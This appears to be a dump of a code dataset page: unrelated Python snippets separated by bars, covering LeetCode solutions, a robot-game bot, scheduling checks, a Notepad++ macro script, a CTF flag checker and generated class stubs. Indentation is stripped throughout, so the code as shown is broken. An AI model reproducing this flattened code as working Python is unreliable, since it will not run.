def __init__(self):
self.biezaceZadanie = "przod"
def tura(self):
if self.robot.spojrzPrzedSiebie() == "bot":
self.robot.atakuj()
elif self.robot.spojrzPrzedSiebie() == "sciana":
self.robot.obrotPrawo()
self.biezaceZadanie = "obrotPrawo"
elif self.biezaceZadanie == "obrotPrawo":
self.robot.obrotPrawo()
self.biezaceZadanie = "przod"
else:
self.robot.idzDoPrzodu()
|
class Solution:
def runningSum(self, nums: List[int]) -> List[int]:
# 滑动窗口
tmp = 0
for i in range(len(nums)):
tmp += nums[i]
nums[i] = tmp
return nums
|
# Definition for a binary tree node.
# class TreeNode(object):
# def __init__(self, x):
# self.val = x
# self.left = None
# self.right = None
class Solution(object):
# https://leetcode.com/problems/subtree-of-another-tree/solution/
def isSubtree(self, s, t):
"""
:type s: TreeNode
:type t: TreeNode
:rtype: bool
"""
s_res = self.preorder(s, True)
t_res = self.preorder(t, True)
return t_res in s_res
def preorder(self, root, isLeft):
if root is None:
if isLeft:
return "lnull"
else:
return "rnull"
return "#" + str(root.val) + " " + self.preorder(root.left, True) + " " + self.preorder(root.right, False)
# def isSubtree(self, s, t):
# return self.traverse(s, t)
# def equals(self, x, y):
# if x is None and y is None:
# return True
# if x is None or y is None:
# return False
# return x.val == y.val and self.equals(x.left, y.left) and self.equals(x.right, y.right)
# def traverse(self, s, t):
# return s is not None and (self.equals(s, t) or self.traverse(s.left, t) or self.traverse(s.right, t))
|
for i in range(100, 1000):
sum = 0
for s in range(0, 3):
i = str(i)
sum = sum + int(i[s]) ** 3
i = int(i)
if sum == i:
print(i)
for i in range(1000, 10000):
sum = 0
for s in range(0, 4):
i = str(i)
sum = sum + int(i[s]) ** 4
i = int(i)
if sum == i:
print(i)
|
def check_user_timeblock_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_1 == section.primary_instructor.user:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.timeblock == preference.object_2:
# If the preference is positive, and the specified teacher is teaching a class during the
# specified timeblock, highlight the section green.
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append(
'The specified teacher is teaching a class during the specified timeblock'
)
else:
# If the preference is positive, and the specified teacher is not teaching a class during the
# specified timeblock, highlight it red.
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'specified teacher is not teaching a class during the specified timeblock'
)
else:
# If the preference is negative, and the specified teacher is teaching a class during the
# specified timeblock, highlight the section red.
if section.timeblock == preference.object_2:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'preference is negative, and the specified teacher is teaching a class during the '
'specified timeblock '
)
def check_user_course_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_2 == section.course:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.primary_instructor.user == preference.object_1:
# If the preference is positive, and the course is taught by the specified teacher, highlight
# it green.
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append(
'preference is positive, and the course is taught by the specified teacher'
)
else:
# If the preference is positive, and the course is not taught by the specified teacher,
# highlight it red.
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'the course is not taught by the specified teacher'
)
else:
# If the preference is negative, and the course is taught by the specified teacher, highlight it
# red.
if section.primary_instructor.user == preference.object_1:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'the preference is negative, and the course is taught by the specified teacher'
)
def check_user_section_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_2 == section:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.primary_instructor.user == preference.object_1:
# If the preference is positive, and the section is taught by the specified teacher, highlight
# it green.
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append(
'Preference is positive, and the section is taught by the specified teacher'
)
else:
# If the preference is positive, and the course is not taught by the specified teacher,
# highlight it red.
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'The section is not taught by the specified teacher'
)
else:
# If the preference is negative, and the section is taught by the specified teacher, highlight it
# red.
if section.primary_instructor.user == preference.object_1:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'The preference is negative, and the section is taught by the specified teacher'
)
def check_section_timeblock_preference(section, preferences, sections_dict):
for preference in preferences:
if preference.object_1 == section:
color = sections_dict[section.id].get('color')
if preference.weight:
if section.timeblock == preference.object_2:
# If the preference is positive, and the section is at the specified timeblock, highlight it
# green.
if color != 'red':
sections_dict[section.id]['color'] = 'green'
sections_dict[section.id]['positive_points'].append(
'Preference is positive, and the section is at the specified timeblock'
)
else:
# If the preference is positive, and the section is not at the specified timeblock, highlight
# it red.
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'The section is not at the specified timeblock'
)
else:
# If the preference is negative, and the section is at the specified timeblock, highlight it red.
if section.timeblock == preference.object_2:
sections_dict[section.id]['color'] = 'red'
sections_dict[section.id]['negative_points'].append(
'Preference is negative, and the section is at the specified timeblock'
)
|
# Runs with PythonScript plugin
# Copy to %APPDATA%\Roaming\Notepad++\plugins\config\PythonScript\scripts
search_text_4 = '[4['
search_text_8 = '[8['
search_text_f = '[f['
search_text_h = '[h['
search_text_q = '[q['
search_text_i = '[i['
search_text_o = '[o['
search_text_R = '[R['
search_text_r = '[r['
search_text_S = '[S['
search_text_u = '[u['
search_text_v = '[v['
replacement_f = '<iframe title="SketchFab model" width="480" height="360"\n src="https://sketchfab.com/models/XXXXXXXXXXXXXXXXXXXXXXXXXXXXX/embed?ui_controls=0&ui_infos=0&ui_inspector=0&ui_watermark=1&ui_watermark_link=0" allow="autoplay; fullscreen; vr" mozallowfullscreen="true" webkitallowfullscreen="true"></iframe>'
replacement_h = '<div class="row">\n <div class="col-8 col-12-narrow">\n <h3>\n \n </h3>\n </div>\n </div>\n <div class="row">\n \n </div>'
replacement_i = '<li class="do">\n \n </li>\n <li class="how">\n \n </li>';
replacement_o = '<li class="option" onclick="Right|Wrong(this, \'TODO\');">\n \n </li>'
replacement_q = '<li class="question" onclick="Reveal(\'TODO\');">\n \n </li>\n <li class="hidden written answer" id="TODO">\n \n </li>'
replacement_r = '<div class="row">\n \n </div>'
replacement_R = '</div>\n </div>\n\n <div class="row">\n <div class="col-8 col-12-narrow">'
replacement_u = '<ul>\n <li class="question" onclick="Reveal(\'TODO\');">\n \n </li>\n <li class="hidden written answer" id="TODO">\n \n </li>\n </ul>'
replacement_v = '<div class="col-8 col-12-narrow">\n <iframe src="https://durham.cloud.panopto.eu/Panopto/Pages/Embed.aspx?id="\n height="360" width="640" allow="fullscreen" loading="lazy"></iframe>\n </div>'
replacement_4 = '<div class="col-4 col-12-narrow">\n <span class="image">\n <img src="images/" />\n </span>\n </div>'
replacement_8 = '<div class="col-8 col-12-narrow">\n <p>\n \n </p>\n </div>'
replacement_S = '\n </div>\n </div>\n </section>\n\n <section id="SECTION_ID" class="main">\n <header>\n <div class="container">\n <span class="image featured">\n <img src="images/IMAGE"\n title=""\n alt="Credit: " />\n </span>\n <h2>TODO_SECTION_HEADING</h2>\n </div>\n </header>\n <div class="content dark style3">\n <div class="container">\n <div class="row">\n <div class="col-8 col-12-narrow">\n <h3>TODO_SUBHEADING</h3>\n </div>\n </div>\n <div class="row">\n \n </div>';
def callback_sci_CHARADDED(args):
if chr(args['ch']) == '[':
cp = editor.getCurrentPos()
search_text_length = 3
start_of_search_text_pos = cp - search_text_length
if editor.getTextRange(start_of_search_text_pos, cp) == search_text_f:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_f)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_f)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_R:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_R)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_R)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_r:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_r)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_r)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_h:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_h)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_h)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_i:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_i)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_i)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_o:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_o)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_o)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_q:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_q)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_q)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_u:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_u)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_u)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_4:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_4)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_4)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_8:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_8)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_8)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_v:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_v)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_v)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
elif editor.getTextRange(start_of_search_text_pos, cp) == search_text_S:
editor.beginUndoAction()
editor.deleteRange(start_of_search_text_pos, search_text_length)
editor.insertText(start_of_search_text_pos, replacement_S)
editor.endUndoAction()
end_of_search_text_pos = start_of_search_text_pos + len(replacement_S)
editor.setCurrentPos(end_of_search_text_pos)
editor.setSelection(end_of_search_text_pos, end_of_search_text_pos)
editor.chooseCaretX()
editor.callback(callback_sci_CHARADDED, [SCINTILLANOTIFICATION.CHARADDED]) |
#! /usr/bin/env Pyrhon3
list_of_tuples_even = []
list_of_tuples_odd = []
for i in range(1, 11):
for j in range(1, 11):
if i % 2 == 0:
list_of_tuples_even.append((i, j, i * j))
else:
list_of_tuples_odd.append((i, j, i * j))
print(list_of_tuples_odd)
print('******************')
print(list_of_tuples_even)
|
#!/usr/bin/python3
for first_digit in range(10):
for second_digit in range(first_digit+1, 10):
if first_digit == 8 and second_digit == 9:
print("{}{}".format(first_digit, second_digit))
else:
print("{}{}".format(first_digit, second_digit), end=", ")
|
def parrot(voltage, state='a stiff', action='voom', type='Norwegian Blue'):
print("-- This parrot wouldn't", action, end =' ')
print("if you put", voltage, "volts through it.")
print("-- Lovely plumage, the", type)
print("-- It's", state, "!")
parrot(1000)
parrot(voltage=1000000, action='VOOOOOM')
parrot('a million', 'bereft of life', 'jump') |
def decrypt(ciphertext, key):
out = ""
for i in range(2, len(ciphertext)):
out += chr((((ciphertext[i] ^ (key*ciphertext[i-2])) - ciphertext[i-1]) ^ (key + ciphertext[i-1]))//ciphertext[i-2])
return out
def solve(flag):
text = ''.join(open("downloads/conversation", "r").readlines())
KEY = int(open("key", "r").readlines()[0].rstrip())
messages = text.split("Content: ")[1:]
messages = [decrypt([int(z) for z in x.split("Message from:")[0].split(" ")], KEY) for x in messages[:-1]]
if flag in " ".join(messages):
exit(0)
else:
exit(1)
flag = input("flag: ")
solve(flag)
|
welcome_message = '''
######################################################
Hello! This script pulls all the emails for a required
mailing list and saves them as a text file in the
"Output" folder.
If you run in to problems, contact Matt
Email: mrallinson@gmail.com
######################################################
'''
error_message = '''
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Something went wrong, please check mailing list name and password
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
''' |
def solution(brown, yellow):
answer = []
s = brown + yellow
l = 1
while True:
if yellow % l == 0:
w = yellow / l
print(w, l)
if w < l:
break
if ((l+2)*(w+2)) == s:
answer.append(w+2)
answer.append(l+2)
l += 1
if l > yellow:
break
return answer
|
# Copied from https://rosettacode.org/wiki/Greatest_common_divisor#Python
def gcd_bin(u, v):
u, v = abs(u), abs(v) # u >= 0, v >= 0
if u < v:
u, v = v, u # u >= v >= 0
if v == 0:
return u
# u >= v > 0
k = 1
while u & 1 == 0 and v & 1 == 0: # u, v - even
u >>= 1; v >>= 1
k <<= 1
t = -v if u & 1 else u
while t:
while t & 1 == 0:
t >>= 1
if t > 0:
u = t
else:
v = -t
t = u - v
return u * k
|
# coding=utf8
# Copyright 2018 JDCLOUD.COM
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# NOTE: This class is auto generated by the jdcloud code generator program.
class AlarmHistoryWithDetail(object):
def __init__(self, contacts=None, durationTimes=None, noticeDurationTime=None, noticeLevel=None, noticeTime=None, rule=None, value=None):
"""
:param contacts: (Optional) 告警联系人
:param durationTimes: (Optional) 告警持续次数
:param noticeDurationTime: (Optional) 告警持续时间,单位分钟
:param noticeLevel: (Optional) 用于前端显示的‘触发告警级别’。从低到高分别为‘普通’, ‘紧急’, ‘严重’
:param noticeTime: (Optional) noticeTime
:param rule: (Optional)
:param value: (Optional) 告警值
"""
self.contacts = contacts
self.durationTimes = durationTimes
self.noticeDurationTime = noticeDurationTime
self.noticeLevel = noticeLevel
self.noticeTime = noticeTime
self.rule = rule
self.value = value
|
# encoding: utf-8
# module _hashlib
# from /usr/lib/python3.5/lib-dynload/_hashlib.cpython-35m-x86_64-linux-gnu.so
# by generator 1.145
# no doc
# no imports
# functions
def new(*args, **kwargs): # real signature unknown
"""
Return a new hash object using the named algorithm.
An optional string argument may be provided and will be
automatically hashed.
The MD5 and SHA1 algorithms are always supported.
"""
pass
def openssl_md5(*args, **kwargs): # real signature unknown
""" Returns a md5 hash object; optionally initialized with a string """
pass
def openssl_sha1(*args, **kwargs): # real signature unknown
""" Returns a sha1 hash object; optionally initialized with a string """
pass
def openssl_sha224(*args, **kwargs): # real signature unknown
""" Returns a sha224 hash object; optionally initialized with a string """
pass
def openssl_sha256(*args, **kwargs): # real signature unknown
""" Returns a sha256 hash object; optionally initialized with a string """
pass
def openssl_sha384(*args, **kwargs): # real signature unknown
""" Returns a sha384 hash object; optionally initialized with a string """
pass
def openssl_sha512(*args, **kwargs): # real signature unknown
""" Returns a sha512 hash object; optionally initialized with a string """
pass
def pbkdf2_hmac(hash_name, password, salt, iterations, dklen=None): # real signature unknown; restored from __doc__
"""
pbkdf2_hmac(hash_name, password, salt, iterations, dklen=None) -> key
Password based key derivation function 2 (PKCS #5 v2.0) with HMAC as
pseudorandom function.
"""
pass
# classes
class HASH(object):
"""
A hash represents the object used to calculate a checksum of a
string of information.
Methods:
update() -- updates the current digest with an additional string
digest() -- return the current digest value
hexdigest() -- return the current digest as a string of hexadecimal digits
copy() -- return a copy of the current hash object
Attributes:
name -- the hash algorithm being used by this object
digest_size -- number of bytes in this hashes output
"""
def copy(self, *args, **kwargs): # real signature unknown
""" Return a copy of the hash object. """
pass
def digest(self, *args, **kwargs): # real signature unknown
""" Return the digest value as a string of binary data. """
pass
def hexdigest(self, *args, **kwargs): # real signature unknown
""" Return the digest value as a string of hexadecimal digits. """
pass
def update(self, *args, **kwargs): # real signature unknown
""" Update this hash object's state with the provided string. """
pass
def __init__(self, *args, **kwargs): # real signature unknown
pass
def __repr__(self, *args, **kwargs): # real signature unknown
""" Return repr(self). """
pass
block_size = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
digest_size = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
name = property(lambda self: object(), lambda self, v: None, lambda self: None) # default
"""algorithm name."""
# variables with complex values
openssl_md_meth_names = None # (!) real value is ''
__loader__ = None # (!) real value is ''
__spec__ = None # (!) real value is ''
|
'''
Created on 31 May 2015
@author: sl0
'''
HASH_LEN = 569 |
SEVERITY_WARNING = 2
SEVERITY_OK = 0
class CException(Exception):
def __init__(self, *args, **kwdargs):
pass
def extend(self, *args, **kwdargs):
pass
def maxSeverity(self, *args, **kwdargs):
return 0
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.